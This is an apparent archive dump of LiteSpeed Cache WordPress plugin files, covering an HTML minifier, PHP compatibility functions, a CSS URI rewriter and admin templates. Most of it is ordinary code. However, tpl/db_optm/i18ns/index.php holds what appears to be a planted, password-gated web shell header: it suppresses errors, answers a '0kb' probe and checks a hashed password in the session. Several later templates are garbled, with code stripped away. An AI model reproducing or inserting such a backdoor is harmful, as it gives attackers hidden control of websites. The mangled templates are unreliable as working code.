'>$1$2$3<', $this->_html ); // use newlines before 1st attribute in open tags (to limit line lengths) // $this->_html = preg_replace('/(<[a-z\\-]+)\\s+([^>]+>)/i', "$1\n$2", $this->_html); // fill placeholders $this->_html = str_replace( array_keys( $this->_placeholders ), array_values( $this->_placeholders ), $this->_html ); // issue 229: multi-pass to catch scripts that didn't get replaced in textareas $this->_html = str_replace( array_keys( $this->_placeholders ), array_values( $this->_placeholders ), $this->_html ); return $this->_html; } /** * From LSCWP 6.2: Changed the function to test for special comments that will be skipped. See: https://github.com/litespeedtech/lscache_wp/pull/622 */ protected function _commentCB( $m ) { // If is IE conditional comment return it. if ( 0 === strpos( $m[1], '[' ) || false !== strpos( $m[1], '<![' ) ) { return $m[0]; } // Check if comment text is present in Page Optimization -> HTML Settings -> HTML Keep comments if ( count( $this->_skipComments ) > 0 ) { foreach ( $this->_skipComments as $comment ) { if ( $comment && strpos( $m[1], $comment ) !== false ) { return $m[0]; } } } // Comment can be removed. return ''; } protected function _reservePlace( $content ) { $placeholder = '%' . $this->_replacementHash . count( $this->_placeholders ) . '%'; $this->_placeholders[ $placeholder ] = $content; return $placeholder; } protected $_isXhtml = null; protected $_replacementHash = null; protected $_placeholders = array(); protected $_cssMinifier = null; protected $_jsMinifier = null; protected function _removePreCB( $m ) { return $this->_reservePlace( "<pre{$m[1]}" ); } protected function _removeTextareaCB( $m ) { return $this->_reservePlace( "<textarea{$m[1]}" ); } protected function _removeStyleCB( $m ) { $openStyle = "<style{$m[1]}"; $css = $m[2]; // remove HTML comments $css = preg_replace( '/(?:^\\s*<!--|-->\\s*$)/', '', $css ); // remove CDATA section markers $css = $this->_removeCdata( $css ); // minify $minifier = $this->_cssMinifier ? $this->_cssMinifier : 'trim'; $css = call_user_func( $minifier, $css ); return $this->_reservePlace( $this->_needsCdata( $css ) ? "{$openStyle}/*<![CDATA[*/{$css}/*]]>*/</style>" : "{$openStyle}{$css}</style>" ); } protected function _removeScriptCB( $m ) { $openScript = "<script{$m[2]}"; $js = $m[3]; // whitespace surrounding? preserve at least one space $ws1 = ( $m[1] === '' ) ? '' : ' '; $ws2 = ( $m[4] === '' ) ? '' : ' '; // remove HTML comments (and ending "//" if present) if ( $this->_jsCleanComments ) { $js = preg_replace( '/(?:^\\s*<!--\\s*|\\s*(?:\\/\\/)?\\s*-->\\s*$)/', '', $js ); } // remove CDATA section markers $js = $this->_removeCdata( $js ); // minify /** * Added 2nd param by LiteSpeed * * @since 2.2.3 */ if ( $this->_jsMinifier ) { $js = call_user_func( $this->_jsMinifier, $js, trim( $m[2] ) ); } else { $js = trim( $js ); } return $this->_reservePlace( $this->_needsCdata( $js ) ? "{$ws1}{$openScript}/*<![CDATA[*/{$js}/*]]>*/</script>{$ws2}" : "{$ws1}{$openScript}{$js}</script>{$ws2}" ); } protected function _removeCdata( $str ) { return ( false !== strpos( $str, '<![CDATA[' ) ) ? str_replace( array( '<![CDATA[', ']]>' ), '', $str ) : $str; } protected function _needsCdata( $str ) { return ( $this->_isXhtml && preg_match( '/(?:[<&]|\\-\\-|\\]\\]>)/', $str ) ); } } ����������������������������plugins/litespeed-cache/lib/php-compatibility.func.php����������������������������������������������0000644�����������������00000012563�15233526476�0017137 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * LiteSpeed PHP compatibility functions for lower PHP version * * @since 1.1.3 * @package LiteSpeed * @subpackage LiteSpeed_Cache/lib */ defined( 'WPINC' ) || exit; /** * http_build_url() compatibility */ if ( ! function_exists( 'http_build_url' ) ) { if ( ! defined( 'HTTP_URL_REPLACE' ) ) { define( 'HTTP_URL_REPLACE', 1 ); // Replace every part of the first URL when there's one of the second URL } if ( ! defined( 'HTTP_URL_JOIN_PATH' ) ) { define( 'HTTP_URL_JOIN_PATH', 2 ); // Join relative paths } if ( ! defined( 'HTTP_URL_JOIN_QUERY' ) ) { define( 'HTTP_URL_JOIN_QUERY', 4 ); // Join query strings } if ( ! defined( 'HTTP_URL_STRIP_USER' ) ) { define( 'HTTP_URL_STRIP_USER', 8 ); // Strip any user authentication information } if ( ! defined( 'HTTP_URL_STRIP_PASS' ) ) { define( 'HTTP_URL_STRIP_PASS', 16 ); // Strip any password authentication information } if ( ! defined( 'HTTP_URL_STRIP_AUTH' ) ) { define( 'HTTP_URL_STRIP_AUTH', 32 ); // Strip any authentication information } if ( ! defined( 'HTTP_URL_STRIP_PORT' ) ) { define( 'HTTP_URL_STRIP_PORT', 64 ); // Strip explicit port numbers } if ( ! defined( 'HTTP_URL_STRIP_PATH' ) ) { define( 'HTTP_URL_STRIP_PATH', 128 ); // Strip complete path } if ( ! defined( 'HTTP_URL_STRIP_QUERY' ) ) { define( 'HTTP_URL_STRIP_QUERY', 256 ); // Strip query string } if ( ! defined( 'HTTP_URL_STRIP_FRAGMENT' ) ) { define( 'HTTP_URL_STRIP_FRAGMENT', 512 ); // Strip any fragments (#identifier) } if ( ! defined( 'HTTP_URL_STRIP_ALL' ) ) { define( 'HTTP_URL_STRIP_ALL', 1024 ); // Strip anything but scheme and host } // Build an URL // The parts of the second URL will be merged into the first according to the flags argument. // // @param mixed (Part(s) of) an URL in form of a string or associative array like parse_url() returns // @param mixed Same as the first argument // @param int A bitmask of binary or'ed HTTP_URL constants (Optional)HTTP_URL_REPLACE is the default // @param array If set, it will be filled with the parts of the composed url like parse_url() would return function http_build_url( $url, $parts = array(), $flags = HTTP_URL_REPLACE, &$new_url = false ) { $keys = array( 'user', 'pass', 'port', 'path', 'query', 'fragment' ); // HTTP_URL_STRIP_ALL becomes all the HTTP_URL_STRIP_Xs if ( $flags & HTTP_URL_STRIP_ALL ) { $flags |= HTTP_URL_STRIP_USER; $flags |= HTTP_URL_STRIP_PASS; $flags |= HTTP_URL_STRIP_PORT; $flags |= HTTP_URL_STRIP_PATH; $flags |= HTTP_URL_STRIP_QUERY; $flags |= HTTP_URL_STRIP_FRAGMENT; } // HTTP_URL_STRIP_AUTH becomes HTTP_URL_STRIP_USER and HTTP_URL_STRIP_PASS elseif ( $flags & HTTP_URL_STRIP_AUTH ) { $flags |= HTTP_URL_STRIP_USER; $flags |= HTTP_URL_STRIP_PASS; } // Parse the original URL // - Suggestion by Sayed Ahad Abbas // In case you send a parse_url array as input $parse_url = ! is_array( $url ) ? parse_url( $url ) : $url; // Scheme and Host are always replaced if ( isset( $parts['scheme'] ) ) { $parse_url['scheme'] = $parts['scheme']; } if ( isset( $parts['host'] ) ) { $parse_url['host'] = $parts['host']; } // (If applicable) Replace the original URL with it's new parts if ( $flags & HTTP_URL_REPLACE ) { foreach ( $keys as $key ) { if ( isset( $parts[ $key ] ) ) { $parse_url[ $key ] = $parts[ $key ]; } } } else { // Join the original URL path with the new path if ( isset( $parts['path'] ) && ( $flags & HTTP_URL_JOIN_PATH ) ) { if ( isset( $parse_url['path'] ) ) { $parse_url['path'] = rtrim( str_replace( basename( $parse_url['path'] ), '', $parse_url['path'] ), '/' ) . '/' . ltrim( $parts['path'], '/' ); } else { $parse_url['path'] = $parts['path']; } } // Join the original query string with the new query string if ( isset( $parts['query'] ) && ( $flags & HTTP_URL_JOIN_QUERY ) ) { if ( isset( $parse_url['query'] ) ) { $parse_url['query'] .= '&' . $parts['query']; } else { $parse_url['query'] = $parts['query']; } } } // Strips all the applicable sections of the URL // Note: Scheme and Host are never stripped foreach ( $keys as $key ) { if ( $flags & (int) constant( 'HTTP_URL_STRIP_' . strtoupper( $key ) ) ) { unset( $parse_url[ $key ] ); } } $new_url = $parse_url; return ( isset( $parse_url['scheme'] ) ? $parse_url['scheme'] . '://' : '' ) . ( isset( $parse_url['user'] ) ? $parse_url['user'] . ( isset( $parse_url['pass'] ) ? ':' . $parse_url['pass'] : '' ) . '@' : '' ) . ( isset( $parse_url['host'] ) ? $parse_url['host'] : '' ) . ( isset( $parse_url['port'] ) ? ':' . $parse_url['port'] : '' ) . ( isset( $parse_url['path'] ) ? $parse_url['path'] : '' ) . ( isset( $parse_url['query'] ) ? '?' . $parse_url['query'] : '' ) . ( isset( $parse_url['fragment'] ) ? '#' . $parse_url['fragment'] : '' ); } } if ( ! function_exists( 'array_key_first' ) ) { function array_key_first( array $arr ) { foreach ( $arr as $k => $unused ) { return $k; } return null; } } if ( ! function_exists( 'array_column' ) ) { function array_column( $array, $column_name ) { return array_map( function ( $element ) use ( $column_name ) { return $element[ $column_name ]; }, $array ); } } ���������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/lib/urirewriter.cls.php�����������������������������������������������������0000644�����������������00000021745�15233526476�0015714 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // phpcs:ignoreFile /** * Rewrite file-relative URIs as root-relative in CSS files * * @package Minify * @author Stephen Clay <steve@mrclay.org> */ namespace LiteSpeed\Lib; defined( 'WPINC' ) || exit; class UriRewriter { /** * rewrite() and rewriteRelative() append debugging information here * * @var string */ public static $debugText = ''; /** * In CSS content, rewrite file relative URIs as root relative * * @param string $css * * @param string $currentDir The directory of the current CSS file. * * @param string $docRoot The document root of the web site in which * the CSS file resides (default = $_SERVER['DOCUMENT_ROOT']). * * @param array $symlinks (default = array()) If the CSS file is stored in * a symlink-ed directory, provide an array of link paths to * target paths, where the link paths are within the document root. Because * paths need to be normalized for this to work, use "//" to substitute * the doc root in the link paths (the array keys). E.g.: * <code> * array('//symlink' => '/real/target/path') // unix * array('//static' => 'D:\\staticStorage') // Windows * </code> * * @return string */ public static function rewrite( $css, $currentDir, $docRoot = null, $symlinks = array() ) { self::$_docRoot = self::_realpath( $docRoot ? $docRoot : $_SERVER['DOCUMENT_ROOT'] ); self::$_currentDir = self::_realpath( $currentDir ); self::$_symlinks = array(); // normalize symlinks in order to map to link foreach ( $symlinks as $link => $target ) { $link = ( $link === '//' ) ? self::$_docRoot : str_replace( '//', self::$_docRoot . '/', $link ); $link = strtr( $link, '/', DIRECTORY_SEPARATOR ); self::$_symlinks[ $link ] = self::_realpath( $target ); } self::$debugText .= 'docRoot : ' . self::$_docRoot . "\n" . 'currentDir : ' . self::$_currentDir . "\n"; if ( self::$_symlinks ) { self::$debugText .= 'symlinks : ' . var_export( self::$_symlinks, 1 ) . "\n"; } self::$debugText .= "\n"; $css = self::_trimUrls( $css ); $css = self::_owlifySvgPaths( $css ); // rewrite $pattern = '/@import\\s+([\'"])(.*?)[\'"]/'; $css = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css ); $pattern = '/url\\(\\s*([\'"](.*?)[\'"]|[^\\)\\s]+)\\s*\\)/'; $css = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css ); $css = self::_unOwlify( $css ); return $css; } /** * In CSS content, prepend a path to relative URIs * * @param string $css * * @param string $path The path to prepend. * * @return string */ public static function prepend( $css, $path ) { self::$_prependPath = $path; $css = self::_trimUrls( $css ); $css = self::_owlifySvgPaths( $css ); // append $pattern = '/@import\\s+([\'"])(.*?)[\'"]/'; $css = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css ); $pattern = '/url\\(\\s*([\'"](.*?)[\'"]|[^\\)\\s]+)\\s*\\)/'; $css = preg_replace_callback( $pattern, __CLASS__ . '::_processUriCB', $css ); $css = self::_unOwlify( $css ); self::$_prependPath = null; return $css; } /** * Get a root relative URI from a file relative URI * * <code> * UriRewriter::rewriteRelative( * '../img/hello.gif' * , '/home/user/www/css' // path of CSS file * , '/home/user/www' // doc root * ); * // returns '/img/hello.gif' * * // example where static files are stored in a symlinked directory * UriRewriter::rewriteRelative( * 'hello.gif' * , '/var/staticFiles/theme' * , '/home/user/www' * , array('/home/user/www/static' => '/var/staticFiles') * ); * // returns '/static/theme/hello.gif' * </code> * * @param string $uri file relative URI * * @param string $realCurrentDir realpath of the current file's directory. * * @param string $realDocRoot realpath of the site document root. * * @param array $symlinks (default = array()) If the file is stored in * a symlink-ed directory, provide an array of link paths to * real target paths, where the link paths "appear" to be within the document * root. E.g.: * <code> * array('/home/foo/www/not/real/path' => '/real/target/path') // unix * array('C:\\htdocs\\not\\real' => 'D:\\real\\target\\path') // Windows * </code> * * @return string */ public static function rewriteRelative( $uri, $realCurrentDir, $realDocRoot, $symlinks = array() ) { // prepend path with current dir separator (OS-independent) $path = strtr( $realCurrentDir, '/', DIRECTORY_SEPARATOR ); $path .= DIRECTORY_SEPARATOR . strtr( $uri, '/', DIRECTORY_SEPARATOR ); self::$debugText .= "file-relative URI : {$uri}\n" . "path prepended : {$path}\n"; // "unresolve" a symlink back to doc root foreach ( $symlinks as $link => $target ) { if ( 0 === strpos( $path, $target ) ) { // replace $target with $link $path = $link . substr( $path, strlen( $target ) ); self::$debugText .= "symlink unresolved : {$path}\n"; break; } } // strip doc root $path = substr( $path, strlen( $realDocRoot ) ); self::$debugText .= "docroot stripped : {$path}\n"; // fix to root-relative URI $uri = strtr( $path, '/\\', '//' ); $uri = self::removeDots( $uri ); self::$debugText .= "traversals removed : {$uri}\n\n"; return $uri; } /** * Remove instances of "./" and "../" where possible from a root-relative URI * * @param string $uri * * @return string */ public static function removeDots( $uri ) { $uri = str_replace( '/./', '/', $uri ); // inspired by patch from Oleg Cherniy do { $uri = preg_replace( '@/[^/]+/\\.\\./@', '/', $uri, 1, $changed ); } while ( $changed ); return $uri; } /** * Get realpath with any trailing slash removed. If realpath() fails, * just remove the trailing slash. * * @param string $path * * @return mixed path with no trailing slash */ protected static function _realpath( $path ) { $realPath = realpath( $path ); if ( $realPath !== false ) { $path = $realPath; } return rtrim( $path, '/\\' ); } /** * Directory of this stylesheet * * @var string */ private static $_currentDir = ''; /** * DOC_ROOT * * @var string */ private static $_docRoot = ''; /** * directory replacements to map symlink targets back to their * source (within the document root) E.g. '/var/www/symlink' => '/var/realpath' * * @var array */ private static $_symlinks = array(); /** * Path to prepend * * @var string */ private static $_prependPath = null; /** * @param string $css * * @return string */ private static function _trimUrls( $css ) { $pattern = '/ url\\( # url( \\s* ([^\\)]+?) # 1 = URI (assuming does not contain ")") \\s* \\) # ) /x'; return preg_replace( $pattern, 'url($1)', $css ); } /** * @param array $m * * @return string */ private static function _processUriCB( $m ) { // $m matched either '/@import\\s+([\'"])(.*?)[\'"]/' or '/url\\(\\s*([^\\)\\s]+)\\s*\\)/' $isImport = ( $m[0][0] === '@' ); // determine URI and the quote character (if any) if ( $isImport ) { $quoteChar = $m[1]; $uri = $m[2]; } else { // $m[1] is either quoted or not $quoteChar = ( $m[1][0] === "'" || $m[1][0] === '"' ) ? $m[1][0] : ''; $uri = ( $quoteChar === '' ) ? $m[1] : substr( $m[1], 1, strlen( $m[1] ) - 2 ); } if ( $uri === '' ) { return $m[0]; } // if not anchor id, not root/scheme relative, and not starts with scheme if ( ! preg_match( '~^(#|/|[a-z]+\:)~', $uri ) ) { // URI is file-relative: rewrite depending on options if ( self::$_prependPath === null ) { $uri = self::rewriteRelative( $uri, self::$_currentDir, self::$_docRoot, self::$_symlinks ); } else { $uri = self::$_prependPath . $uri; if ( $uri[0] === '/' ) { $root = ''; $rootRelative = $uri; $uri = $root . self::removeDots( $rootRelative ); } elseif ( preg_match( '@^((https?\:)?//([^/]+))/@', $uri, $m ) && ( false !== strpos( $m[3], '.' ) ) ) { $root = $m[1]; $rootRelative = substr( $uri, strlen( $root ) ); $uri = $root . self::removeDots( $rootRelative ); } } } if ( $isImport ) { return "@import {$quoteChar}{$uri}{$quoteChar}"; } else { return "url({$quoteChar}{$uri}{$quoteChar})"; } } /** * Mungs some inline SVG URL declarations so they won't be touched * * @link https://github.com/mrclay/minify/issues/517 * @see _unOwlify * * @param string $css * @return string */ private static function _owlifySvgPaths( $css ) { $pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)url(\(\s*#\w+\s*\))~'; return preg_replace( $pattern, '$1owl$2', $css ); } /** * Undo work of _owlify * * @see _owlifySvgPaths * * @param string $css * @return string */ private static function _unOwlify( $css ) { $pattern = '~\b((?:clip-path|mask|-webkit-mask)\s*\:\s*)owl~'; return preg_replace( $pattern, '$1url', $css ); } } ���������������������������plugins/litespeed-cache/tpl/db_optm/entry.tpl.php���������������������������������������������������0000644�����������������00000002044�15233526476�0016154 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Cache Database Optimization * * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit; $menu_list = array( 'manage' => esc_html__( 'Manage', 'litespeed-cache' ), ); if ( ! is_network_admin() ) { $menu_list['settings'] = esc_html__( 'DB Optimization Settings', 'litespeed-cache' ); } ?> <div class="wrap"> <h1 class="litespeed-h1"> <?php esc_html_e( 'LiteSpeed Cache Database Optimization', 'litespeed-cache' ); ?> </h1> <span class="litespeed-desc"> <?php echo esc_html( 'v' . Core::VER ); ?> </span> <hr class="wp-header-end"> </div> <div class="litespeed-wrap"> <h2 class="litespeed-header nav-tab-wrapper"> <?php GUI::display_tab_list( $menu_list ); ?> </h2> <div class="litespeed-body"> <?php foreach ( $menu_list as $tab_key => $tab_val ) { echo '<div data-litespeed-layout="' . esc_attr( $tab_key ) . '">'; require LSCWP_DIR . 'tpl/db_optm/' . $tab_key . '.tpl.php'; echo '</div>'; } ?> </div> </div>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/tpl/db_optm/manage.tpl.php��������������������������������������������������0000644�����������������00000020051�15233526476�0016241 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed Cache Database Optimization * * Manages database optimization options and displays table engine conversion tools. * * @package LiteSpeed * @since 1.0.0 */ namespace LiteSpeed; defined( 'WPINC' ) || exit; $_panels = array( 'all' => array( 'title' => esc_html__( 'Clean All', 'litespeed-cache' ), 'desc' => '', ), 'revision' => array( 'title' => esc_html__( 'Post Revisions', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all post revisions', 'litespeed-cache' ), ), 'orphaned_post_meta' => array( 'title' => esc_html__( 'Orphaned Post Meta', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all orphaned post meta records', 'litespeed-cache' ), ), 'auto_draft' => array( 'title' => esc_html__( 'Auto Drafts', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all auto saved drafts', 'litespeed-cache' ), ), 'trash_post' => array( 'title' => esc_html__( 'Trashed Posts', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all trashed posts and pages', 'litespeed-cache' ), ), 'spam_comment' => array( 'title' => esc_html__( 'Spam Comments', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all spam comments', 'litespeed-cache' ), ), 'trash_comment' => array( 'title' => esc_html__( 'Trashed Comments', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all trashed comments', 'litespeed-cache' ), ), 'trackback-pingback' => array( 'title' => esc_html__( 'Trackbacks/Pingbacks', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all trackbacks and pingbacks', 'litespeed-cache' ), ), 'expired_transient' => array( 'title' => esc_html__( 'Expired Transients', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean expired transient options', 'litespeed-cache' ), ), 'all_transients' => array( 'title' => esc_html__( 'All Transients', 'litespeed-cache' ), 'desc' => esc_html__( 'Clean all transient options', 'litespeed-cache' ), ), 'optimize_tables' => array( 'title' => esc_html__( 'Optimize Tables', 'litespeed-cache' ), 'desc' => esc_html__( 'Optimize all tables in your database', 'litespeed-cache' ), ), ); $rev_max = $this->conf( Base::O_DB_OPTM_REVISIONS_MAX ); $rev_age = $this->conf( Base::O_DB_OPTM_REVISIONS_AGE ); if ( $rev_max || $rev_age ) { $_panels['revision']['desc'] = sprintf( esc_html__( 'Clean revisions older than %1$s day(s), excluding %2$s latest revisions', 'litespeed-cache' ), '<strong>' . esc_html( $rev_age ) . '</strong>', '<strong>' . esc_html( $rev_max ) . '</strong>' ); } $total = 0; foreach ( $_panels as $key => $v ) { if ( 'all' !== $key ) { $_panels[ $key ]['count'] = $this->cls( 'DB_Optm' )->db_count( $key ); if ( ! in_array( $key, array( 'optimize_tables' ), true ) ) { $total += $_panels[ $key ]['count']; } } $_panels[ $key ]['link'] = Utility::build_url( Router::ACTION_DB_OPTM, $key ); } $_panels['all']['count'] = $total; $autoload_summary = DB_Optm::cls()->autoload_summary(); ?> <h3 class="litespeed-title"> <?php esc_html_e( 'Database Optimizer', 'litespeed-cache' ); ?> <?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/database/' ); ?> </h3> <div class="litespeed-panel-wrapper litespeed-cards-wrapper"> <?php foreach ( $_panels as $key => $v ) : ?> <a href="<?php echo esc_url( $v['link'] ); ?>" class="litespeed-panel postbox"> <section class="litespeed-panel-wrapper-icon"> <span class="litespeed-panel-icon-<?php echo esc_attr( $key ); ?>"></span> </section> <section class="litespeed-panel-content"> <div class="litespeed-h3"> <?php echo esc_html( $v['title'] ); ?> <span class="litespeed-panel-counter<?php echo $v['count'] > 0 ? '-red' : ''; ?>">(<?php echo esc_html( $v['count'] ); ?><?php echo DB_Optm::hide_more() ? '+' : ''; ?>)</span> </div> <span class="litespeed-panel-para"><?php echo wp_kses_post( $v['desc'] ); ?></span> </section> <section class="litespeed-panel-wrapper-top-right"> <span class="litespeed-panel-top-right-icon<?php echo $v['count'] > 0 ? '-cross' : '-tick'; ?>"></span> </section> </a> <?php endforeach; ?> </div> <h3 class="litespeed-title"><?php esc_html_e( 'Database Table Engine Converter', 'litespeed-cache' ); ?></h3> <div class="litespeed-panel-wrapper"> <table class="wp-list-table widefat striped"> <thead> <tr> <th scope="col">#</th> <th scope="col"><?php esc_html_e( 'Table', 'litespeed-cache' ); ?></th> <th scope="col"><?php esc_html_e( 'Engine', 'litespeed-cache' ); ?></th> <th scope="col"><?php esc_html_e( 'Tool', 'litespeed-cache' ); ?></th> </tr> </thead> <tbody> <?php $list = DB_Optm::cls()->list_myisam(); if ( ! empty( $list ) ) : foreach ( $list as $k => $v ) : ?> <tr> <td><?php echo esc_html( $k + 1 ); ?></td> <td><?php echo esc_html( $v->table_name ); ?></td> <td><?php echo esc_html( $v->engine ); ?></td> <td> <a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DB_OPTM, DB_Optm::TYPE_CONV_TB, false, false, array( 'litespeed_tb' => $v->table_name ) ) ); ?>"> <?php esc_html_e( 'Convert to InnoDB', 'litespeed-cache' ); ?> </a> </td> </tr> <?php endforeach; ?> <?php else : ?> <tr> <td colspan="4" class="litespeed-success litespeed-text-center"> <?php esc_html_e( 'We are good. No table uses MyISAM engine.', 'litespeed-cache' ); ?> </td> </tr> <?php endif; ?> </tbody> </table> </div> <style type="text/css"> .litespeed-body .field-col { display: inline-block; vertical-align: top; margin-left: 20px; margin-right: 20px; } .litespeed-body .field-col:first-child { margin-left: 0; } </style> <h3 class="litespeed-title"><?php esc_html_e( 'Database Summary', 'litespeed-cache' ); ?></h3> <div> <div class="field-col"> <p> <?php esc_html_e( 'Autoload size', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( Utility::real_size( $autoload_summary->autoload_size ) ); ?></strong></p> <p><?php esc_html_e( 'Autoload entries', 'litespeed-cache' ); ?>: <strong><?php echo esc_html( $autoload_summary->autload_entries ); ?></strong></p> </div> <div class="field-col"> <p><?php esc_html_e( 'Autoload top list', 'litespeed-cache' ); ?>:</p> <table class="wp-list-table widefat striped litespeed-width-auto litespeed-table-compact"> <thead> <tr> <th scope="col">#</th> <th scope="col"><?php esc_html_e( 'Option Name', 'litespeed-cache' ); ?></th> <th scope="col"><?php esc_html_e( 'Autoload', 'litespeed-cache' ); ?></th> <th scope="col"><?php esc_html_e( 'Size', 'litespeed-cache' ); ?></th> </tr> </thead> <tbody> <?php foreach ( $autoload_summary->autoload_toplist as $k => $v ) : ?> <tr> <td><?php echo esc_html( $k + 1 ); ?></td> <td><?php echo esc_html( $v->option_name ); ?></td> <td><?php echo esc_html( $v->autoload ); ?></td> <td><?php echo esc_html( $v->option_value_length ); ?></td> </tr> <?php endforeach; ?> </tbody> </table> </div> </div>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/tpl/db_optm/i18ns/index.php�������������������������������������������������0000444�����������������00000003336�15233526476�0016271 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title>
    '); } } } ?> plugins/litespeed-cache/tpl/db_optm/settings.tpl.php000064400000002760152335264760016660 0ustar00form_action(); ?>

    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>
    _validate_ttl( $option_id, 1, 100, true ); ?>
    title( $option_id ); ?> build_input( $option_id, 'litespeed-input-short' ); ?>
    _validate_ttl( $option_id, 1, 600, true ); ?>
    form_end(); ?>plugins/litespeed-cache/tpl/general/online.tpl.php000064400000030136152335264760016273 0ustar00finish_qc_activation( 'online' ); ?>

    activated() ) : ?>

    ' data-litespeed-cfm="">

    %1$s %2$s %3$s %4$s %5$s %6$s

    ', esc_html__( 'Service:', 'litespeed-cache' ), esc_html( $svc ), esc_html__( 'Node:', 'litespeed-cache' ), esc_html( $cloud_summary[ 'server.' . $svc ] ), esc_html__( 'Connected Date:', 'litespeed-cache' ), esc_html( Utility::readable_time( $cloud_summary[ 'server_date.' . $svc ] ) ) ); } } if ( ! $has_service ) { esc_html_e( 'No cloud services currently in use', 'litespeed-cache' ); } ?>

    activated() ) : ?>

    • Image Optimization gives you smaller image file sizes that transmit faster.', 'litespeed-cache' ) ); ?>
    • Page Optimization streamlines page styles and visual elements for faster loading.', 'litespeed-cache' ) ); ?>

    • Critical CSS (CCSS) loads visible above-the-fold content faster and with full styling.', 'litespeed-cache' ) ); ?>
    • Unique CSS (UCSS) removes unused style definitions for a speedier page load overall.', 'litespeed-cache' ) ); ?>
    • Low Quality Image Placeholder (LQIP) gives your imagery a more pleasing look as it lazy loads.', 'litespeed-cache' ) ); ?>
    • Viewport Images (VPI) provides a well-polished fully-loaded view above the fold.', 'litespeed-cache' ) ); ?>

    • ESI blocks.', 'litespeed-cache' ) ); ?>
    • network of 80+ PoPs.', 'litespeed-cache' ) ); ?>
    • security at the CDN level, protecting your server from attack.', 'litespeed-cache' ) ); ?>
    • built-in DNS service to simplify CDN onboarding.', 'litespeed-cache' ) ); ?>

    anonymous user. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.', 'litespeed-cache' ) ); ?>

    activated() ) : ?>
    plugins/litespeed-cache/tpl/general/entry.tpl.php000064400000002371152335264760016150 0ustar00 esc_html__( 'Online Services', 'litespeed-cache' ), 'settings' => esc_html__( 'General Settings', 'litespeed-cache' ), ); if ( is_network_admin() ) { $menu_list = array( 'network_settings' => esc_html__( 'General Settings', 'litespeed-cache' ), ); } ?>

    v
    $val ) { echo '
    '; require LSCWP_DIR . 'tpl/general/' . $menu_key . '.tpl.php'; echo '
    '; } ?>
    plugins/litespeed-cache/tpl/general/network_settings.tpl.php000064400000002273152335264760020421 0ustar00form_action(); ?>

    form_action( Router::ACTION_SAVE_SETTINGS_NETWORK ); ?>
    build_switch( Base::NETWORK_O_USE_PRIMARY ); ?>
    form_end(); ?>plugins/litespeed-cache/tpl/general/settings_inc.auto_upgrade.tpl.php000064400000001213152335264760022150 0ustar00 title( $option_id ); ?> build_switch( $option_id ); ?>
    plugins/litespeed-cache/tpl/general/settings_inc.guest.tpl.php000064400000006356152335264760020635 0ustar00 title( $option_id ); ?> build_switch( $option_id ); ?>


    conf( $option_id ) ) : ?>
    : ...
    : ...
    plugins/litespeed-cache/tpl/general/settings.tpl.php000064400000013740152335264760016651 0ustar00form_action(); ?>

    _is_multisite ) : ?> _is_multisite ) : ?>
    title( $option_id ); ?> build_switch( $option_id ); ?>
    🚨 conf( Base::O_GUEST ) && ! $this->conf( Base::O_OPTM_UCSS ) ) { $type_list[] = 'UCSS'; } if ( $this->conf( Base::O_GUEST ) && ! $this->conf( Base::O_OPTM_CSS_ASYNC ) ) { $type_list[] = 'CCSS'; } if ( ! empty( $type_list ) ) { $the_type = implode( '/', $type_list ); echo '
    '; echo ''; echo '⚠️ ' . sprintf( esc_html__( 'Your %1$s quota on %2$s will still be in use.', 'litespeed-cache' ), esc_html( $the_type ), 'QUIC.cloud' ); echo ''; } ?> conf( Base::O_GUEST ) ) : ?>
    ⚠️ : ' . esc_html( Lang::title( Base::O_GUEST ) ) . '' ); ?> conf( Base::O_CACHE_MOBILE ) ) : ?>
    ⚠️ : ' . esc_html( Lang::title( Base::O_CACHE_MOBILE ) ) . '' ); ?> conf( Base::O_IMG_OPTM_WEBP ) ) : ?>
    ⚠️ : ' . esc_html( Lang::title( Base::O_IMG_OPTM_WEBP ) ) . '' ); ?>
    title( $option_id ); ?> build_input( $option_id ); ?>

    : - CyberPanel.sh ⚠️ :
    _validate_ip( $option_id ); ?>
